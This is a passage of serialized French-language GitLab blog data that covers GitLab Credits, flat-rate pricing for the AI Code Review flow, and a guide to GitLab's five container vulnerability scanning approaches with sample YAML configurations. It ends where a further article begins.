frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"GitLab Credits Purchase Flow\">\u003C/iframe>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n---\n\n## FAQ\n\n**Qu'est-ce qu'un engagement mensuel de GitLab Credits ?**\n\nUn engagement mensuel est une option d'achat basée sur l'utilisation, dans laquelle le propriétaire de votre groupe sélectionne un nombre défini de crédits qui s'appliquent en tant que pool partagé pour l'ensemble du groupe. Les crédits sont consommés lorsque votre équipe utilise les fonctionnalités de GitLab Duo Agent Platform. Consultez la [documentation GitLab Credits](https://docs.gitlab.com/subscriptions/gitlab_credits/) pour en savoir plus.\n\n**Qui peut acheter des GitLab Credits aujourd'hui ?**\n\nLes clients GitLab Premium et GitLab Ultimate profitent déjà de crédits promotionnels inclus dans leur abonnement. À partir de la version 18.10, les espaces de nommage de groupe principal de la version gratuite de GitLab.com peuvent également acheter un engagement mensuel de crédits via la facturation en libre-service du groupe. Consultez la [documentation GitLab Credits](https://docs.gitlab.com/subscriptions/gitlab_credits/) pour connaître les dernières conditions d'éligibilité.\n\n**Quelles fonctionnalités d'IA les crédits débloquent-ils dans la version gratuite ?**\n\nLes équipes disposant de crédits accèdent aux mêmes fonctionnalités et modèles d'IA agentique que les clients GitLab Premium et GitLab Ultimate, notamment l'agent Planner, le flow Developer, le flow Code Review, le flow Fix CI/CD Pipeline, l'Agentic Chat, les suggestions de code, les agents et workflows personnalisés, et bien plus encore. Consultez la [documentation relative à GitLab Duo Agent Platform](https://docs.gitlab.com/user/duo_agent_platform/) pour obtenir la liste complète.\n\n**Combien coûte la revue de code automatisée ?**\n\nLe flow Code Review applique un tarif forfaitaire de 0,25 crédit GitLab par revue, indépendamment de la taille ou de la complexité de la merge request. Consultez la [documentation relative au flow Code Review](https://docs.gitlab.com/user/duo_agent_platform/flows/foundational_flows/code_review/) pour connaître les détails actuels des tarifs.\n\n**Puis-je passer de la version gratuite avec crédits à GitLab Premium ?**\n\nDans GitLab 18.10, la mise à niveau d'un espace de nommage de la version gratuite avec un engagement mensuel de crédits vers GitLab Premium est disponible via un processus accompagné par l'équipe commerciale. Contactez l'[équipe commerciale GitLab](https://about.gitlab.com/fr-fr/contact-sales/) pour connaître vos options.\n\n\n",[798,756],{"featured":13,"template":806,"slug":1147},"gitlab-18-10-agentic-ai-now-open-to-even-more-teams-on-gitlab",{"content":1149,"config":1157},{"title":1150,"description":1151,"authors":1152,"heroImage":1153,"date":1143,"body":1154,"category":756,"tags":1155},"La revue de code sans les goulots d'étranglement ni les coûts imprévus","La revue de code assistée par l'IA, désormais proposée à un tarif forfaitaire prévisible, sans calcul de tokens, sans surprises, sans compromis.",[1066],"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772721753/frfsm1qfscwrmsyzj1qn.png","Les équipes de développement livrent plus de code, plus rapidement, grâce à l'IA. Mais cette vélocité crée un nouveau défi : la file d'attente des revues.\n\nLa revue de code est devenue l'un des principaux goulots d'étranglement dans la livraison logicielle moderne. Les équipes qui s'appuient sur une poignée d'ingénieurs pour examiner manuellement chaque merge request en ressentent les effets. Ajoutez à cela la multiplication d'outils de codage basés sur l'IA au sein des équipes d'ingénierie, chacun générant du code et chacun étant examiné de manière isolée sans garde-fous unifiés, et le problème s'amplifie. Les entreprises ne font pas seulement face à un retard de traitement : elles font face à un manque de cohérence à grande échelle.\n\nC'est pourquoi GitLab a développé le flow Revue de Code, un workflow d'IA agentique au sein de GitLab Duo Agent Platform qui examine automatiquement les merge requests dès leur ouverture. Ce flow analyse le code dans le contexte du dépôt, du pipeline, des résultats de sécurité et des exigences de conformité, et fournit un retour cohérent et exploitable sans attendre qu'un ingénieur s'en charge.\nAujourd'hui, nous facilitons encore davantage le déploiement à grande échelle du flow Revue de Code grâce à l'introduction d'une tarification forfaitaire.\n\n## Des centaines de revues en parallèle, au même endroit\n\nLe flow Revue de Code est une fonctionnalité d'IA agentique intégrée au sein de GitLab Duo Agent Platform qui examine automatiquement les merge requests à mesure qu'elles arrivent. C'est une première étape dans la réduction des goulots d'étranglement liés à la génération de code et un élément central de la stratégie de GitLab pour accélérer le développement logiciel grâce à l'IA. Lorsqu'une merge request est ouverte, le flow Revue de Code peut automatiquement exécuter une revue en plusieurs étapes : analyse des modifications, exploration du contexte pertinent du dépôt et génération d'une revue structurée avec des commentaires intégrés.\n\nLe résultat est une revue ancrée dans ce qui se passe réellement dans le projet, et pas seulement dans ce qui a changé dans le diff.\n\nComme le flow Revue de Code s'exécute au sein de GitLab, vous bénéficiez d'un avantage que les outils de revue IA autonomes ne peuvent pas offrir : une cohérence à l'échelle de l'organisation. Les organisations peuvent créer des [instructions de revue de merge request personnalisées](https://docs.gitlab.com/user/gitlab_duo/customize_duo/review_instructions/) afin que les revues de code soient cohérentes et respectent les normes du projet. Un projet peut utiliser le flow Revue de Code intégré. Un autre peut recourir à un agent externe comme Claude Code ou Codex. Un troisième peut exécuter un agent personnalisé conçu autour des normes spécifiques de l'équipe. Tout cela fonctionne simultanément, à travers chaque groupe, équipe et projet, chaque revue étant alignée sur ses propres garde-fous et le tout étant visible au même endroit.\n\nC'est une architecture fondamentalement différente d'un assistant d'IA individuel intégré à un [IDE](https://about.gitlab.com/fr-fr/blog/what-is-an-ide/ \"Qu'est-ce qu'un IDE ?\"). GitLab permet d'effectuer des centaines de revues de code en parallèle à travers toute l'organisation, et non une à la fois.\n\n  \n  \nDécouvrez le flow Revue de Code en action dans cette démo :\n  \n\n\u003Ciframe src=\"https://player.vimeo.com/video/1174920981?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"18.10 DAP Code Review\">\u003C/iframe>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n## Un calcul simple, des dépenses prévisibles\n\nÀ mesure que les équipes de développement livrent davantage de code grâce à l'assistance de l'IA, le besoin de coûts de revue de code prévisibles et évolutifs augmente en conséquence. La tarification forfaitaire du flow Revue de Code permet d'exécuter des revues à grande échelle, sur chaque projet et chaque merge request, sans avoir à rationner son utilisation.\n\nChaque exécution du flow coûte désormais **0,25 crédit GitLab**, soit 0,25 $ par revue au tarif catalogue. Chaque revue coûte le même prix, quelle que soit la taille de la merge request, la complexité du dépôt ou le nombre d'étapes internes exécutées par le flow.\n\nLe calcul est simple : 4 revues = 1 crédit GitLab. Que votre équipe fusionne 500 merge requests par mois ou 50 000, vous pouvez prévoir les dépenses directement en nombre de revues, sans calcul de tokens ni conversion nécessaire.\n\n> **Vous souhaitez en savoir plus sur les GitLab Credits ?** Les GitLab Credits sont l'unité de consommation pour l'utilisation de GitLab Duo Agent Platform. 1 crédit = 1 $. Consultez [notre documentation pour plus d'informations](https://docs.gitlab.com/subscriptions/gitlab_credits/#buy-gitlab-credits).\n\n## Faites évoluer vos revues, pas vos coûts\n\nLa tarification forfaitaire ne se limite pas à une simplification de la facturation. Elle élargit les possibilités de votre équipe.\n\n**Activez la revue automatique sur tous vos projets.** Lorsque vous connaissez exactement le coût de chaque revue, celle-ci devient un simple poste de dépense dans votre budget R&D. Configurez-la pour qu'elle se déclenche sur chaque merge request et laissez l'agent gérer la file d'attente.\n\n**Comparez sur un pied d'égalité.** Le flow Revue de Code affiche un prix par revue clair, ce qui facilite l'évaluation par rapport à d'autres outils de revue d'IA sans conversion d'unités nécessaire.\n\n**Constatez les économies cumulées à mesure que votre organisation se développe.** Considérez ce que pourrait coûter une revue de code manuelle : si une revue manuelle prend environ 15 minutes du temps d'un ingénieur, selon le taux horaire, elle pourrait être évaluée à environ 25 $ par revue. À 0,25 $ par revue automatisée, la réduction des coûts est significative. Et comme des centaines de revues peuvent s'exécuter simultanément, les gains de temps peuvent être tout aussi importants. Plus l'organisation est grande, plus ces deux avantages deviennent marqués.\n\n## Commencez dès aujourd'hui\n\nLa tarification forfaitaire pour le flow Revue de Code est disponible dès maintenant sur GitLab Duo Agent Platform.\n\n> [*Commencez un essai gratuit de GitLab Duo Agent Platform*](https://about.gitlab.com/gitlab-duo-agent-platform/?utm_medium=blog&utm_source=blog&utm_campaign=eg_emea_x_trial_x_fr_blog_fr) dès maintenant ! Si vous êtes déjà client GitLab, contactez votre chargé de compte pour toute question.\n",[1156,798,756],"code review",{"featured":652,"template":806,"slug":1158},"code-review-without-the-bottlenecks-or-the-bill",{"category":105,"slug":768,"posts":1160},[1161,1172,1185],{"content":1162,"config":1170},{"tags":1163,"category":768,"body":1164,"date":1165,"heroImage":1166,"authors":1167,"description":1168,"title":1169},[768,1020],"Les vulnérabilités dans les conteneurs n'attendent pas votre prochain\ndéploiement. Elles peuvent apparaître à tout moment, de la création d'une\nimage à l'exécution des conteneurs en production. Pour remédier à ce\nproblème, GitLab propose plusieurs approches d'analyse des conteneurs,\nchacune conçue pour une étape spécifique du cycle de développement logiciel ([SDLC](https://about.gitlab.com/fr-fr/blog/what-is-sdlc/ \"Qu'est-ce que le SDLC ?\")).\n\n\nDans ce guide, nous explorons les différents types d'analyse de conteneurs proposés par GitLab, vous expliquons comment les activer et vous partageons les configurations les plus courantes pour bien démarrer.\n\n\n## Qu'est-ce que l'analyse des conteneurs ? \n\n\nLes vulnérabilités de sécurité présentes dans les images de conteneurs constituent un risque tout au long du cycle de vie applicatif. Les images de base, les paquets de systèmes d'exploitation et les dépendances applicatives peuvent tous receler des vulnérabilités activement exploitées par des attaquants. L'analyse des conteneurs permet de détecter ces risques en amont, avant qu'ils n'atteignent l'environnement de production, et propose des pistes de remédiation le cas échéant.\n\n\nL'analyse des conteneurs est un élément essentiel de l'analyse de la composition logicielle (SCA), qui vous aide à comprendre et à sécuriser les dépendances externes dont vos applications conteneurisées dépendent.\n\n\n## 5 types d'analyses de conteneurs dans GitLab\n\n\nGitLab propose cinq approches distinctes d'analyse de conteneurs, chacune répondant à un objectif précis dans votre stratégie de sécurité.\n\n\n### 1. Analyse des conteneurs dans le pipeline\n\n\n* Fonctionnement : analyse les images de conteneurs lors de l'exécution du [pipeline CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce qu'un pipeline CI/CD ?\") afin de détecter les vulnérabilités avant le déploiement\n\n* Cas d'utilisation idéal : contrôles de sécurité en amont (shift-left) pour bloquer les images vulnérables avant qu'elles n'atteignent la production\n\n* Disponibilité : version gratuite de GitLab, GitLab Premium et GitLab Ultimate (avec des fonctionnalités supplémentaires dans GitLab Ultimate)\n\n* [Documentation](https://docs.gitlab.com/user/application_security/container_scanning/)\n\n\nGitLab utilise le scanner de sécurité Trivy pour analyser les images de conteneurs et rechercher de vulnérabilités connues. Lors de l'exécution du pipeline, le scanner examine vos images et génère un rapport détaillé.\n\n\n#### Activer l'analyse des conteneurs dans le pipeline\n\n\n**Option A : merge request préconfigurée**\n\n\n* Accédez à **Sécurisation > Configuration de la sécurité** dans votre projet.\n\n* Repérez la ligne « Analyse de conteneurs ».\n\n* Sélectionnez **Configurer avec une merge request**.\n\n* Une merge request intégrant la configuration nécessaire est automatiquement créée.\n\n\n**Option B : configuration manuelle**\n\n\n* Ajoutez le contenu suivant à votre fichier `.gitlab-ci.yml` :\n\n\n```yaml\ninclude:\n  - template: Jobs/Container-Scanning.gitlab-ci.yml\n```  \n\n\n#### Configurations courantes\n\n\n**Analyser une image spécifique :**\n\n\nPour analyser une image spécifique, remplacez la variable `CS_IMAGE` dans le job `container_scanning`.\n\n\n```yaml\ninclude:\n  - template: Jobs/Container-Scanning.gitlab-ci.yml\n\ncontainer_scanning:\n  variables:\n    CS_IMAGE: myregistry.com/myapp:latest\n```\n\n\n**Filtrer par seuil de gravité :**\n\n\nPour n'afficher que les vulnérabilités dépassant un certain niveau de gravité, remplacez la variable `CS_SEVERITY_THRESHOLD` dans le job `container_scanning`. Dans l'exemple ci-dessous, seules les vulnérabilités d'un niveau de gravité **Élevé** ou supérieur seront affichées.\n\n\n```yaml\ninclude:\n  - template: Jobs/Container-Scanning.gitlab-ci.yml\n\ncontainer_scanning:\n  variables:\n    CS_SEVERITY_THRESHOLD: \"HIGH\"\n```\n\n\n#### Consulter les vulnérabilités dans une merge request\n\n\nL'affichage direct des vulnérabilités détectées par l'analyse des conteneurs au sein des merge requests rend les revues de sécurité plus fluides et plus efficaces. Une fois l'analyse des conteneurs configurée dans votre pipeline CI/CD, GitLab affiche automatiquement les vulnérabilités détectées dans le [widget Sécurité](https://docs.gitlab.com/user/project/merge_requests/widgets/#application-security-scanning) de la merge request.\n\n\n![Vulnérabilités détectées lors de l'analyse des conteneurs affichées dans la merge request](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547514/lt6elcq6jexdhqatdy8l.png \"Vulnérabilités détectées lors de l'analyse des conteneurs affichées dans la merge request\")\n\n\n* Accédez à n'importe quelle merge request et faites défiler jusqu'à la section « Analyse de sécurité » pour obtenir un résumé des vulnérabilités nouvellement introduites et existantes détectées dans vos images de conteneurs.\n\n* Cliquez sur une **vulnérabilité** pour accéder à des informations détaillées, notamment le niveau de gravité, les paquets affectés et les recommandations de remédiation disponibles.\n\n\n![GitLab Security – détails dans la merge request](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547514/hplihdlekc11uvpfih1p.png)\n\n\n![GitLab Security – détails dans la merge request](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547513/jnxbe7uld8wfeezboifs.png \"Détails d'une vulnérabilité détectée par l'analyse des conteneurs dans la merge request\")\n\n\nCette visibilité permet aux équipes de développement et de sécurité de détecter et de traiter les vulnérabilités des conteneurs avant qu'elles n'atteignent la production : la sécurité devient une composante à part entière du processus de revue de code plutôt qu'un contrôle distinct.\n\n\n#### Consulter les vulnérabilités dans le rapport de vulnérabilités\n\n\nAu-delà des revues dans les merge requests, GitLab met à disposition un [rapport de vulnérabilités](https://docs.gitlab.com/user/application_security/vulnerability_report/) centralisé, qui offre aux équipes de sécurité une visibilité complète sur l'ensemble des résultats de l'analyse des conteneurs dans votre projet.\n\n\n![Rapport de vulnérabilités avec classement selon l'analyse des conteneurs](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547524/gagau279fzfgjpnvipm5.png \"Rapport de vulnérabilités avec classement selon l'analyse des conteneurs\")\n\n\n* Accédez à ce rapport via **Sécurité et conformité > Rapport de vulnérabilités** dans la barre latérale de votre projet.\n\n* Vous y trouverez une vue agrégée de toutes les vulnérabilités de conteneurs détectées dans vos branches, avec des options de filtrage permettant de trier les vulnérabilités par gravité, statut, type de scanner ou image de conteneur spécifique.\n\n* Cliquez sur une vulnérabilité pour accéder à sa page dédiée.\n\n\n![Page de vulnérabilité – vue 1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547520/e1woxupyoajhrpzrlylj.png)\n\n\n![Page de vulnérabilité – vue 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547521/idzcftcgjc8eryixnbjn.png)\n\n\n![Page de vulnérabilité – vue 3](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547522/mbbwbbprtf9anqqola10.png \"Détails d'une vulnérabilité détectée par l'analyse des conteneurs\")\n\n\nLes [détails de la vulnérabilité](https://docs.gitlab.com/user/application_security/vulnerabilities/) indiquent précisément les images et couches de conteneurs concernées pour faciliter la traçabilité jusqu'à la source du problème. Vous pouvez assigner des vulnérabilités à des membres de l'équipe, modifier leur statut (détectée, confirmée, résolue, rejetée), ajouter des commentaires pour faciliter la collaboration et associer des tickets connexes pour suivre la remédiation.\n\n\nCe workflow transforme la [gestion des vulnérabilités](https://about.gitlab.com/fr-fr/blog/what-is-vulnerability-management/ \"Qu'est-ce que la gestion des vulnérabilités ?\"), autrefois cantonnée à des tableurs, en une composante intégrée de votre processus de développement, garantissant que les résultats de sécurité des conteneurs sont suivis, priorisés et résolus de manière systématique.\n\n\n#### Consulter la liste des dépendances\n\n\nLa [liste des dépendances](https://docs.gitlab.com/user/application_security/dependency_list/) de GitLab fournit une nomenclature logicielle complète ([SBOM](https://about.gitlab.com/fr-fr/blog/the-ultimate-guide-to-sboms/ \"Qu'est-ce qu'une SBOM ?\")) qui répertorie chaque composant de vos images de conteneurs afin d'offrir une transparence totale sur votre [chaîne d'approvisionnement logicielle](https://about.gitlab.com/fr-fr/blog/software-supply-chain-security-guide-why-organizations-struggle/).\n\n\n* Accédez à **Sécurité et conformité > Liste des dépendances** pour consulter l'inventaire de tous les paquets, bibliothèques et dépendances détectés par l'analyse des conteneurs dans votre projet.\n\n* Cet affichage répertorie les éléments qui s'exécutent réellement dans vos conteneurs, des paquets du système d'exploitation de base aux dépendances applicatives.\n\n\n![Liste des dépendances de GitLab](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547513/vjg6dk3nhajqamplroji.png \"Liste des dépendances de GitLab (SBOM)\")\n\n\nVous pouvez filtrer la liste par gestionnaire de paquets, type de licence ou statut de vulnérabilité afin d'identifier rapidement les composants qui présentent des risques de sécurité ou des problèmes de conformité. Chaque entrée de dépendance affiche les vulnérabilités associées pour traiter les problèmes de sécurité dans le contexte des composants logiciels réels, plutôt que comme des résultats isolés.\n\n\n### 2. Analyse des conteneurs pour le registre\n\n\n* Fonctionnement : analyse automatiquement les images envoyées vers le registre de conteneurs de GitLab (GitLab Container Registry) avec le tag `latest`\n\n* Cas d'utilisation idéal : surveillance continue des images du registre, sans déclenchement manuel du pipeline\n\n* Disponibilité : GitLab Ultimate uniquement\n\n* [Documentation](https://docs.gitlab.com/user/application_security/container_scanning/#container-scanning-for-registry)\n\n\nLorsque vous effectuez un push d'une image de conteneur avec le tag `latest`, le bot de politique de sécurité de GitLab déclenche automatiquement une analyse sur la branche par défaut. Contrairement à l'analyse dans le pipeline, cette approche fonctionne conjointement avec l'analyse continue des vulnérabilités pour surveiller les nouveaux avis de sécurité publiés.\n\n\n#### Activer l'analyse des conteneurs pour le registre\n\n\n1. Accédez à **Sécurisation > Configuration de la sécurité**.\n\n2. Faites défiler jusqu'à la section **Analyse des conteneurs pour le registre**.\n\n3. Activez la fonctionnalité.\n\n\n![Analyse des conteneurs pour le registre](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547512/vntrlhtmsh1ecnwni5ji.png \"Bouton d'activation de l'analyse des conteneurs pour le registre\")\n\n\n#### Prérequis\n\n\n* Rôle de Chargé de maintenance ou supérieur dans le projet\n\n* Le projet ne doit pas être vide (au moins un commit sur la branche par défaut est requis)\n\n* Les notifications du registre de conteneurs doivent être configurées\n\n* La base de données de métadonnées des paquets doit être configurée (activée par défaut sur GitLab.com)\n\n\nLes vulnérabilités apparaissent sous l'onglet **Vulnérabilités du registre de conteneurs** dans votre rapport de vulnérabilités.\n\n\n### 3. Analyse multi-conteneurs\n\n\n* Fonctionnement : analyse plusieurs images de conteneurs en parallèle au sein d'un même pipeline\n\n* Cas d'utilisation idéal : [architectures de microservices](https://about.gitlab.com/fr-fr/blog/what-are-the-benefits-of-a-microservices-architecture/ \"Qu'est-ce qu'une architecture de microservices ?\") et projets avec plusieurs images de conteneurs\n\n* Disponibilité : version gratuite de GitLab, GitLab Premium et GitLab Ultimate (actuellement en version bêta)\n\n* [Documentation](https://docs.gitlab.com/user/application_security/container_scanning/multi_container_scanning/)\n\n\nL'analyse multi-conteneurs utilise des pipelines enfants dynamiques pour exécuter des analyses simultanées afin de réduire considérablement le temps d'exécution global du pipeline lorsque plusieurs images doivent être analysées.\n\n\n#### Activer l'analyse multi-conteneurs\n\n\n1. Créez un fichier `.gitlab-multi-image.yml` à la racine de votre dépôt :\n\n\n```yaml\nscanTargets:\n  - name: alpine\n    tag: \"3.19\"\n  - name: python\n    tag: \"3.9-slim\"\n  - name: nginx\n    tag: \"1.25\"\n```\n\n\n2. Incluez le template dans votre fichier `.gitlab-ci.yml` :\n\n\n```yaml\ninclude:\n  - template: Jobs/Multi-Container-Scanning.latest.gitlab-ci.yml\n```\n\n\n#### Configuration avancée\n\n\n**Analyser des images depuis des registres privés :**\n\n\n```yaml\nauths:\n  registry.gitlab.com:\n    username: ${CI_REGISTRY_USER}\n    password: ${CI_REGISTRY_PASSWORD}\n\nscanTargets:\n  - name: registry.gitlab.com/private/image\n    tag: latest\n```\n\n\n**Inclure les informations de licence :**\n\n\n```yaml\nincludeLicenses: true\n\nscanTargets:\n  - name: postgres\n    tag: \"15-alpine\"\n```\n\n\n### 4. Analyse continue des vulnérabilités\n\n\n* Fonctionnement : crée automatiquement des vulnérabilités lors de la publication de nouveaux avis de sécurité, sans nécessiter l'exécution de pipeline\n\n* Cas d'utilisation idéal : surveillance proactive de la sécurité entre les déploiements\n\n* Disponibilité : GitLab Ultimate uniquement\n\n* [Documentation](https://docs.gitlab.com/user/application_security/continuous_vulnerability_scanning/)\n\n\nL'analyse traditionnelle ne détecte les vulnérabilités qu'au moment où elle est effectuée. Mais que se passe-t-il lorsqu'une nouvelle vulnérabilité et exposition commune (CVE) est publiée le lendemain pour un paquet analysé la veille ? L'analyse continue des vulnérabilités résout ce problème en surveillant la base de données d'avis de GitLab et en enregistrant automatiquement les vulnérabilités lorsque de nouveaux avis affectent vos composants.\n\n\n#### Fonctionnement\n\n\n1. Votre job d'analyse des conteneurs ou d'analyse des dépendances génère une SBOM CycloneDX.\n\n2. GitLab enregistre les composants de votre projet à partir de cette SBOM.\n\n3. Lors de la publication de nouveaux avis, GitLab vérifie si vos composants sont concernés.\n\n4. Les vulnérabilités sont automatiquement créées dans votre rapport de vulnérabilités.\n\n\n#### Points importants\n\n\n* Les analyses s'exécutent via des jobs en arrière-plan (Sidekiq), et non via des pipelines CI.\n\n* Seules les alertes publiées au cours des 14 derniers jours sont prises en compte pour la détection de nouveaux composants.\n\n* Les vulnérabilités utilisent « GitLab SBoM Vulnerability Scanner » comme nom de scanner.\n\n* Pour marquer des vulnérabilités comme résolues, vous devez toujours exécuter une analyse basée sur un pipeline.\n\n\n### 5. Analyse opérationnelle des conteneurs\n\n\n* Fonctionnement : analyse les conteneurs en cours d'exécution dans votre cluster [Kubernetes](https://about.gitlab.com/fr-fr/blog/kubernetes-the-container-orchestration-solution/ \"Qu'est-ce que Kubernetes ?\") selon une cadence planifiée\n\n* Cas d'utilisation idéal : surveillance de la sécurité après déploiement et détection des vulnérabilités au moment de l'exécution\n\n* Disponibilité : GitLab Ultimate uniquement\n\n* [Documentation](https://docs.gitlab.com/user/clusters/agent/vulnerabilities/)\n\n\nL'analyse opérationnelle des conteneurs comble l'écart entre la sécurité au moment du build et la sécurité à l'exécution. Grâce à l'agent GitLab pour Kubernetes, cette approche analyse les conteneurs réellement en cours d'exécution dans vos clusters pour détecter les vulnérabilités qui apparaissent après le déploiement.\n\n\n#### Activer l'analyse opérationnelle des conteneurs\n\n\nSi vous utilisez l'[agent GitLab pour Kubernetes](https://docs.gitlab.com/user/clusters/agent/install/), vous pouvez ajouter le contenu suivant à votre fichier de configuration de l'agent :\n\n\n```yaml\ncontainer_scanning:\n  cadence: '0 0 * * *'  # Daily at midnight\n  vulnerability_report:\n    namespaces:\n      include:\n        - production\n        - staging\n```\n\n\nVous pouvez également créer une [politique d'exécution des analyses](https://docs.gitlab.com/user/clusters/agent/vulnerabilities/#enable-via-scan-execution-policies) qui impose une analyse selon un planning défini par l'agent GitLab pour Kubernetes.\n\n\n![Politique d'exécution des analyses – analyse opérationnelle des conteneurs](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547515/gsgvjcq4sas4dfc8ciqk.png \"Conditions d'une politique d'exécution des analyses pour l'analyse opérationnelle des conteneurs\")\n\n\n#### Consulter les résultats\n\n\n* Accédez à **Opération > Clusters Kubernetes**.\n\n* Sélectionnez l'onglet **Agent** et choisissez votre agent.\n\n* Sélectionnez ensuite l'onglet **Sécurité** pour consulter les vulnérabilités du cluster.\n\n* Les résultats apparaissent également sous l'onglet **Vulnérabilités opérationnelles** dans le **rapport de vulnérabilités**.\n\n\n## Renforcer la posture de sécurité avec les politiques de sécurité de GitLab\n\n\nLes politiques de sécurité de GitLab vous permettent d'appliquer des normes de sécurité cohérentes dans l'ensemble de vos workflows de conteneurs, grâce à des contrôles automatisés pilotés par des politiques. Ces politiques intègrent la sécurité en amont en intégrant les exigences directement dans votre pipeline de développement afin de garantir que les vulnérabilités sont détectées et traitées avant que le code n'atteigne l'environnement de production.\n\n\n#### Politiques d'exécution des scans et des pipelines\n\n\nLes [politiques d'exécution des scans](https://docs.gitlab.com/user/application_security/policies/scan_execution_policies/) automatisent le moment et la manière dont l'analyse des conteneurs s'exécute dans vos projets. Définissez des politiques qui déclenchent des analyses de conteneurs sur chaque merge request, planifiez des analyses récurrentes de votre branche principale, et plus encore. Ces politiques assurent une couverture complète sans que les équipes de développement aient à configurer manuellement l'analyse dans le pipeline CI/CD de chaque projet.\n\n\nVous pouvez préciser les versions de scanner à utiliser et configurer les paramètres de scan de manière centralisée pour garantir la cohérence dans toute votre organisation tout en vous adaptant aux nouvelles menaces qui pèsent sur la sécurité des conteneurs.\n\n\n![Configuration d'une politique d'exécution des scans](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547517/z36dntxslqem9udrynvx.png \"Configuration d'une politique d'exécution des scans\")\n\n\nLes [politiques d'exécution des pipelines](https://docs.gitlab.com/user/application_security/policies/pipeline_execution_policies/) offrent des contrôles flexibles pour injecter (ou remplacer) des jobs personnalisés dans un pipeline en fonction de vos besoins en matière de conformité.\n\n\nCes politiques permettent d'injecter automatiquement des jobs d'analyse des conteneurs dans votre pipeline, de faire échouer les builds lorsque les vulnérabilités de conteneurs dépassent votre seuil de tolérance au risque, de déclencher des contrôles de sécurité supplémentaires pour des branches ou des tags spécifiques, ou encore d'imposer des exigences de conformité pour les images de conteneurs destinées aux environnements de production. Les politiques d'exécution des pipelines agissent comme des garde-fous automatisés pour appliquer vos normes de sécurité de manière cohérente dans l'ensemble de vos déploiements de conteneurs, sans intervention manuelle.\n\n\n![Politique d'exécution des pipelines](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547517/ddhhugzcr2swptgodof2.png \"Actions d'une politique d'exécution de pipeline\")\n\n\n#### Politiques d'approbation des merge requests\n\n\nLes [politiques d'approbation des merge requests](https://docs.gitlab.com/user/application_security/policies/merge_request_approval_policies/) imposent des contrôles de sécurité : les approbateurs désignés examinent et valident les merge requests contenant des vulnérabilités de conteneurs.\n\n\nConfigurez des politiques qui bloquent le merge lorsque des vulnérabilités de gravité critique ou élevée sont détectées, ou qui exigent l'approbation de l'équipe de sécurité pour toute merge request introduisant de nouveaux résultats liés aux conteneurs. Ces politiques empêchent les images de conteneurs vulnérables de progresser dans votre pipeline tout en préservant la vélocité de développement pour les changements à faible risque.\n\n\n![Politique d'approbation des merge requests avec blocage dans la merge request](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547513/hgnbc1vl4ssqafqcyuzg.png \"Politique d'approbation des merge requests avec blocage dans la merge request\")\n\n\n## Choisir la bonne approche\n\n\n| Type d'analyse | Utilisation | Avantage clé |\n|--------------|-------------|-------------|\n| Analyse dans le pipeline | À chaque build | Contrôles de sécurité en amont, blocage des builds vulnérables |\n| Analyse de registre | Surveillance continue | Détection des nouvelles CVE dans les images stockées |\n| Analyse multi-conteneurs | Microservices | Analyse en parallèle, pipelines plus rapides |\n| Analyse continue des vulnérabilités | Entre les déploiements | Surveillance proactive des avis |\n| Analyse opérationnelle | Surveillance en production | Détection des vulnérabilités dans l'environnement d'exécution |\n\n\nPour une approche complète en matière de sécurité, combinez plusieurs approches : l'analyse dans le pipeline pour détecter les problèmes pendant le développement, l'analyse des conteneurs pour le registre afin d'assurer une surveillance continue et l'analyse opérationnelle pour la visibilité en production.\n\n\n## Lancez-vous dès aujourd'hui\n\n\nActivez l'analyse dans le pipeline pour commencer à appliquer des mesures de sécurité dans les conteneurs :\n\n\n1. Accédez à **Sécurisation > Configuration de la sécurité** dans votre projet.\n\n2. Cliquez sur **Configurer avec une merge request** pour lancer l'analyse des conteneurs.\n\n3. Fusionnez la merge request.\n\n4. Votre prochain pipeline inclura l'analyse des vulnérabilités.\n\n\nAjoutez ensuite des analyses supplémentaires en fonction de vos exigences de sécurité et de votre abonnement GitLab.\n\n\nLa sécurité des conteneurs n'est pas une tâche ponctuelle, mais un processus continu. Grâce aux capacités complètes d'analyse des conteneurs de GitLab, vous pouvez détecter les vulnérabilités à chaque étape du cycle de vie de vos conteneurs, du build à l'exécution.\n\n\n> Pour en savoir plus sur la façon dont GitLab peut contribuer à renforcer votre posture de sécurité, consultez la [page sur les solutions de sécurité et de gouvernance de GitLab](https://about.gitlab.com/fr-fr/solutions/application-security-testing/).\n","2026-04-13","https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,c_lfill/v1772721753/frfsm1qfscwrmsyzj1qn.png",[1038],"Découvrez les différentes méthodes d'analyse des conteneurs proposées par GitLab et apprenez à sécuriser vos conteneurs à chaque étape de leur cycle de vie.","Analyse des conteneurs de GitLab : le guide complet",{"featured":652,"template":806,"slug":1171},"complete-guide-to-gitlab-container-scanning",{"content":1173,"config":1183},{"title":1174,"description":1175,"tags":1176,"category":768,"authors":1177,"date":1180,"body":1181,"heroImage":1182},"Orchestration de l'IA agentique au service des équipes sécurité","Découvrez comment l'orchestration d'agents d’IA au sein d'une plateforme DevSecOps unifiée peut transformer le quotidien des équipes AppSec.",[816,768],[1178,1179],"Chloe Cartron","Benjamin Skierlak","2026-04-07","> *Cet article de blog est un résumé de notre démo animée par Chloé Cartron (Senior Solutions Architect) et Benjamin 